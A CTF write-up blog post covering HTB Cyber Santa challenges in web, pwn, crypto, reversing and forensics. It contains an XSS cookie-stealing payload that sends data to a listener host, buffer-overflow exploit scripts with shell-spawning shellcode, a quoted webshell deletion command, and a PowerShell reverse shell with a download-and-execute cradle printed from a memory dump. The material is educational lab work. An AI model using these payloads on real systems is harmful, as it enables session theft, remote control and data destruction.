Skip to content

hexp

private blog where I publish writeups for CTFs or HackTheBox machines

Menu
  • blog
  • whoami
  • teams
Menu

HTB Cyber Santa is Coming to Town

Posted on January 25, 2022July 11, 2022 by hexp

This year, Santa went digital and hired a bunch of tech elves to update his
infra. Unfortunately, some of them were malicious elves who compromised
Santa’s data warehouse in the North Pole!

Web

Toy Workshop ★☆☆☆

Challenge Info

The work is going well on Santa’s toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?

Challenge Plan

First let’s have a look at the source code:

router.post('/api/submit', async (req, res) => {

        const { query } = req.body;
        if(query){
            return db.addQuery(query)
                .then(() => {
                    bot.readQueries(db);
                    res.send(response('Your message is delivered successfully!'));
                });
        }
        return res.status(403).send(response('Please write your query first!'));
});

We can submit “queries” via the /api/submit endpoint.

const cookies = [{
    'name': 'flag',
    'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];

const readQueries = async (db) => {
        const browser = await puppeteer.launch(browser_options);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();
        await page.goto('http://127.0.0.1:1337/');
        await page.setCookie(...cookies);
        await page.goto('http://127.0.0.1:1337/queries', {
            waitUntil: 'networkidle2'
        });
        await browser.close();
        await db.migrate();
};

And then there is a bot visiting the /queries endpoint where he will see our submitted queries. The flag is hidden within it’s cookie. So this is a classic XSS challenge where we need to steal bots cookie.

The attack should be straight forward. We submit a query with a malicious javascript that will send the users cookies to us.

Challenge Solution

After creating a burp collaborator or a netcat listener or pretty much anything that displays requests to you, we just submit this query via burp suite:

POST /api/submit HTTP/1.1
Host: 206.189.124.137:30116
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 155

{"query":"<script type="text/javascript">document.location="http://[redacted.com]/?c="+document.cookie;</script>"}

[redacted.com] is our IP/URL from the listener/burp collaborator. Now we just wait until we see this request displaying the flag in our collaborator:

Toy Management ★☆☆☆

Challange Info

The evil elves have changed the admin access to Santa’s Toy Management Portal. Can you get the access back and save the Christmas?

Challenge Solution

Opening the given connection in our browser greets us with a login page. So let’s have a look at the given source first.

We find the fake flag in the source inside of the database next to the other toys. Notice the at the end of each row. 1 stands for normal user and 0 for admin. So when we access the toylist as admin we can retrieve the flag. Let’s double check that in the source code:

Seems to be right. Running SQLmap against the login page dumps the admin password:

Now we can crack it with crackstation:

After logging in with the admin account we can see the flag on the toylist:

Pwn

Mr Snowy ★☆☆☆

Challenge Info

There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman… it scares me.. He is always 👀 staring at Santa’s house. Something must be wrong with him.

Challenge Plan

First I investigate the binary in ghidra and quickly find an interesting function:

It looks like this is the function that opens the flag which we are looking for. I expect here a buffer overflow because this is an easy challenge, so we will try to jump to the deactivate_camera function.

I continue with gdb-peda and create a 200 character long pattern with it and send it against the binary. The first input doesn’t seem to be vulnerable to a buffer overflow, but if we continue with option 1 to the second question we get lucky:

We can see our pattern overflew into the RBP and RSP and the RIP points to a ret. The return will pop the RSP and write the adress there into the RIP. The RIP indicates where the program continues. So basically we only need to write the adress of the deactivate_camera function into the RSP and it should jump there. Now we only need that adress and the offset of the pattern inside the RSP. So I use pattern search to find the offsets.

We can see the offset in the RSP being at 72. So after 72 bytes we can send the adress which we find out using info functions inside gdb-peda:

Let’s craft our payload with python like this:

choice = "1"
buf = "A"*73
adress = b"x65x11x40x00x00x00x00x00"

print choice + buf + adress

Now we just run: python exploit.py > f and send it to the docker instance with this (cat f; cat -) | nc x.x.x.x xxxx

Sleigh ★☆☆☆

Challenge Info

The Elves have messed up with Santa’s sleigh! Without it, he will not be able to deliver any gifts!! Help him repair it and save the holidays!

Challenge Solution

I use gdb-peda to analyze the file. With pattern create 200 I create a 200 characters long pattern. After some fiddeling around I figured out that the second question is vulnerable to a buffer overflow. So I send the pattern there. After the SEGFAULT I use pattern search to find the offset.

This is all we need to craft our payload. We use a shellcode from the internet which spawns /bin/bash and pad it to match the 72 bytes offset. Following the shellcode and the padding comes the return adress. Luckily the binary tells us where the stack begins so we can just use that adress. This is what the final exploit looks like:

from pwn import *

r = remote('138.68.133.230', 31686)
r.recvuntil(b'>')
r.sendline(b'1')

r.recvuntil(b'!')
r.recvuntil(b'[')
add = r.recvuntil(b']')
print(add)
add = int(add[2:-1],16)
add = p64(add, endian='little')
print('### Given address:')
print(add)
r.recvuntil(b'>')

shellcode = b"x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"
pad = b"x41"*(72-len(shellcode))

r.sendline(shellcode+pad+add)

r.interactive()

Now we can just run cat flag.txt to retrieve the flag.

Crypto

Common Mistake ★☆☆☆

Challenge Info

Elves are trying very hard to communicate in perfect secrecy in order to keep Santa’s warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.

Challenge Solution

The common mistake here is that the elves used the same modulus but different exponent to encrypt the plaintext. We can simply use tools like this one to retrieve the flag. That specific tool requires the public keys in PEM format, so I wrote this little script to create those:

from Crypto.PublicKey import RSA

n = b"0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef"

e = b"0x10001"

public = RSA.construct((int(n,0),int(e,0)))

pub_key = public.exportKey('PEM')
pub_out = open("pub_key1.pem","wb")
pub_out.write(pub_key)
pub_out.close()

e = b"0x23"

public = RSA.construct((int(n,0),int(e,0)))

pub_key = public.exportKey('PEM')
pub_out = open("pub_key2.pem","wb")
pub_out.write(pub_key)
pub_out.close()

Also you need the ciphertexts to be base64 encoded, I used cyberchef for that. From HEX to Base64. Then you can just run: python3 rsa-cm.py -c1 ../message1.b64 -c2 ../message2.b64 -k1 ../pub_key1.pem -k2 ../pub_key2.pem

XMAS Spirit ★☆☆☆

Challenge Info

Now that elves have taken over Santa has lost so many letters from kids all over the world. However, there is one kid who managed to locate Santa and sent him a letter. It seems like the XMAS spirit is so strong within this kid. He was so smart that thought of encrypting the letter in case elves captured it. Unfortunately, Santa has no idea about cryptography. Can you help him read the letter?

Challenge Solution

We were given two files, the resulting encrypted.bin and this challenge.py which is the python script that took the plaintext letter.pdf and created the encrypted.bin.

#!/usr/bin/python3

import random
from math import gcd

def encrypt(dt):
    mod = 256
    while True:
        a = random.randint(1,mod)
        if gcd(a, mod) == 1: break
    b = random.randint(1,mod)

    res = b''
    for byte in dt:
        enc = (a*byte + b) % mod
        res += bytes([enc])
    return res

dt = open('letter.pdf', 'rb').read()

res = encrypt(dt)

f = open('encrypted.bin', 'wb')
f.write(res)
f.close()

The above script creates two variables: a and b, which are coprime and smaller than 256. Afterwards it takes every byte from the letter.pdf and translates it using this line: enc = (a*byte + b) % mod

We now know two very important thing:

  • a and b are very small
  • the plaintext file is a pdf file

Because we know that the original file was a pdf file we also know the first five bytes because of magic numbers and because a and b are very small it means that we can bruteforce them.

I wrote this little python code to get a and b:

magic = b"x25x50x44x46x2D"
ct = b"x0Dx70x84xD6x55"

matched = 0

for a in range(256):
    if gcd(a, 256) == 1:
        for b in range(256):
            for i in range(len(magic)):
                if ((a*magic[i] + b) % 256) == ct[i]:
                    matched = matched + 1
                    if matched == 5:
                        print(a)
                        print(b)
                else:
                    matched = 0

The magic byte string are the magic numbers of a pdf file and the ct byte string are the first five bytes of our encrypted.bin.

We then use the same code from the original challenge.py with every possible a and b and do this until all five bytes match. We get 169 for a and 160 for b.

We can then do the same approach to recreate the original file. This time we try all bytes as the original byte until it matches the resulting byte. That way we can enumerate the whole original pdf.

mod = 256
a = 169
b = 160

dt = open('encrypted.bin', 'rb').read()

counter = 0
output = b''
for byte in dt:
        counter += 1
        if counter%1000 == 0:
                print(counter)
        for i in range(mod):
                res = (169*i+160) % 256
                if res == byte:
                        #print(i)
                        output += bytes([i])

f = open('decrypted.pdf', 'wb')
f.write(output)
f.close()

Further Thinking

We can optimize this process by creating a map for all possible bytes and then use that on the encrypted.bin. This way we only need to “translate” 256 bytes instead of translating every single one of the encrypted.bin.

mod = 256
a = 169
b = 160

dt = open('encrypted.bin', 'rb').read()
byte_map = {}

for i in range(mod):
    res = (a*i+b) % 256
    byte_map[res] = i

output = []
for byte in dt:
    output.append(byte_map[byte])

f = open('decrypted.pdf', 'wb')
f.write(bytes(output))
f.close()

Reversing

Infiltration ★☆☆☆

Challenge Info

We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won’t let us see their secrets? Can you take a look inside?

Challenge Solution

We are given a binary called “client”. It took me a minute to figure out we are supposed to use that client to connect to the given docker instance. I wasted some time trying to decompile the binary with ghidra and IDA but since I didn’t find anything interesting there I just intercepted the traffic from the binary talking to the docker instance with wireshark:

Gift Wrapping ★☆☆☆

Challenge Info

The elves won’t let you into their secret hideout without the password. Luckily, they’ve given it to you as a gift! But it seems to be wrapped up tight…

Challenge Solution

Having a look at the binary I find a lot of references to upx so I use upx -d to decompress it.

Now I decompiled the binary with ghidra and found this interesting function:

It is a little bit hard to read so I have a look at it with IDA indeed it looks a lot better:

So our input gets XORed with 0xF3 and if the resulting bytes matches whatever CHECK is we have the password. CHECK looks a lot better in ghidra so I attached a screenshot of it:

We can now translate these bytes with cyberchef by XORing them with 0xF3 and we get the flag:

Forensics

baby APT ★☆☆☆

Challenge Info

This is the most wonderful time of the year, but not for Santa’s incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa’s server and destroyed his present list. Could you investigate what happened?

Challenge Solution

Even though this is a pcap file which I would usually analyze with wireshark I just ran strings -n5 chistmaswishliust.pcap on the file and saw an interesting output:

cmd=rm++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles%2F.ht.sqlite+%26%26+echo+SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59+%3E+%2Fdev%2Fnull+2%3E%261+%26%26+ls+-al++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles`

It looks like someone uploaded a php-webshell to a vulnerable website and executed this payload. Base64 decoding it reveals the flag:

HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}

Honeypot ★☆☆☆

Challenge Info

Santa really encourages people to be at his good list but sometimes he is a bit naughty himself. He is using a Windows 7 honeypot to capture any suspicious action. Since he is not a forensics expert, can you help him identify any indications of compromise?

  1. Find the full URL used to download the malware.
  2. Find the malicious’s process ID.
  3. Find the attackers IP

Flag Format: HTB{echo -n “http://url.com/path.foo_PID_127.0.0.1” | md5sum} Download Link: http://46.101.25.140/forensics_honeypot.zip

Challenge Solution

We are given a Windows 7 memory dump and chose volatility to analyze it. First we need to find the matching profile, we already know it is Windows 7 from the challenges info, but for the sake of it we use the default approach like we didn’t know it. To do so we run ./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw kdbgscan

We have three pretty similiar profile suggestions and my guess would be that it doesn’t matter which one we chose. So in the following we set --profile=Win7SP1x86. You can also set an environmental variable like this so you don’t need to set it every time you run a command: export VOLITILITY_PROFILE=Win7SP1x86.

First let’s have a look at the running processes:

./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw --profile=Win7SP1x86 cmdline

The encoded command being run by powershell looks promising. Base64 decoded it looks like this: iex ((new-object net.webclient).downloadstring('https://windowsliveupdater.com/update.ps1')). This seems to be the malicious call. So we note the PID 2700. For the longest time I thought this was also needed URL but it’s just a redirect to a rick roll video *sigh*.

To find out more about the original URL I ran this simple yarascan: ./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw --profile=Win7SP1x86 yarascan -Y "https://"

This is our URL: https://windowsliveupdater.com/christmas_update.hta. Now we only need the IP. To get the IP we can have a look at the netscan command:

I already assumed the ip connected with port 4444 to be the one I was looking for, but to be completeley sure we extract the whole update.ps1 from the memory dump using vim:

$client = New-Object System.Net.Sockets.TCPClient('147.182.172.189',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$send        back = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Now have everything needed to construct the flag:

HTB{echo -n "https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189" | md5sum}

Other Write-Ups

Unfortunately I didn’t have time to finish more challenges during HTB Cyber Santa is Coming to Town, because my team participated in a CTF. However if you are interested in the remaining challenges I can recommend CryptoCats series on youtube: https://www.youtube.com/watch?v=20FkOdoMiRU or just look at CTFTime: https://ctftime.org/event/1523/tasks/

Recent Posts

  • Paper – HTB Writeup
  • HTB Cyber Santa is Coming to Town

Archives

  • June 2022
  • January 2022

Categories

  • CTF
  • Hack The Box
  • Writeups
© 2023 hexp | Powered by Minimalist Blog WordPress Theme